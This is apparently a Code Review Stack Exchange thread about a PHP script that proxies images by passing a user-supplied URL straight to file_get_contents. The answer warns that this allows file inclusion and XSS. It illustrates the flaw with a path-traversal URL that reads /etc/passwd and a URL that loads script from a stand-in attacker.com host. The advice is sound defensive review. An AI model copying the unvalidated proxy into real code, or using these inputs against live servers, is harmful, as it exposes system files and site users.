4
\$\begingroup\$

I would like to get images from other websites.

This is my current method but I'm not sure if it is alright.

<?php
  header('Content-Type: '.image_type_to_mime_type(exif_imagetype($_GET['url'])));
  echo(file_get_contents($_GET['url']));
?>

If not, how should I do it?

\$\endgroup\$
5
  • \$\begingroup\$ What is this code supposed to do? Why don't you use the URL o the image directly? \$\endgroup\$
    – A.L
    Commented Apr 7, 2016 at 22:51
  • \$\begingroup\$ Because of the Same-origin policy \$\endgroup\$
    – Tamás
    Commented Apr 8, 2016 at 10:45
  • \$\begingroup\$ To my knowledge, the Same-origin policy applies to Javascript, not to images. \$\endgroup\$
    – A.L
    Commented Apr 8, 2016 at 12:21
  • \$\begingroup\$ Yep, but I you use JS for sourcing (I think I need to, the user gives the source), so (I guess) it need to be on the same origin. \$\endgroup\$
    – Tamás
    Commented Apr 8, 2016 at 12:38
  • \$\begingroup\$ Then maybe you should update the title of your question (it only mention images at this moment). \$\endgroup\$
    – A.L
    Commented Apr 8, 2016 at 21:50

1 Answer 1

Reset to default
14
\$\begingroup\$

Your code is vulnerable to LFI and XSS. 

http://localhost/yourscript.php?url=../../../../../../etc/passwd

This would load the local file /etc/passwd and display it.

http://localhost/yourscript.php?url=http://attacker.com/xss.php

This would load and display the remote file xss.php, which would lead to XSS.

For better solutions, see eg here. When outputting images, you should use the image output functions such as imagejpeg, not generic file loading functions.

\$\endgroup\$
11
  • 1
    \$\begingroup\$ +and checking the mime type \$\endgroup\$
    – Tamás
    Commented Apr 7, 2016 at 10:08
  • 2
    \$\begingroup\$ Local File Injection and Remote File Injection. It basically means that anyone can "inject" (load) remote or local files (files from your server) into your script. \$\endgroup\$
    – Oldskool
    Commented Apr 7, 2016 at 10:08
  • 1
    \$\begingroup\$ @HalasiTomi local file inclusion and remote file inclusion. My first example is an example of LFI, my second one of RFI. And no, only allowing absolute URLs will not help against RFI (if done correctly, it may help against LFI). \$\endgroup\$
    – tim
    Commented Apr 7, 2016 at 10:09
  • 1
    \$\begingroup\$ @HalasiTomi Mime type checking is difficult. I would not use it as your only line of defense. \$\endgroup\$
    – tim
    Commented Apr 7, 2016 at 10:11
  • 1
    \$\begingroup\$ Which part of the code causes remote code execution? I can see maybe that there might be a problem with XSS but I don't see how this causes PHP code to be executed. \$\endgroup\$
    – arxanas
    Commented Apr 7, 2016 at 22:26

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.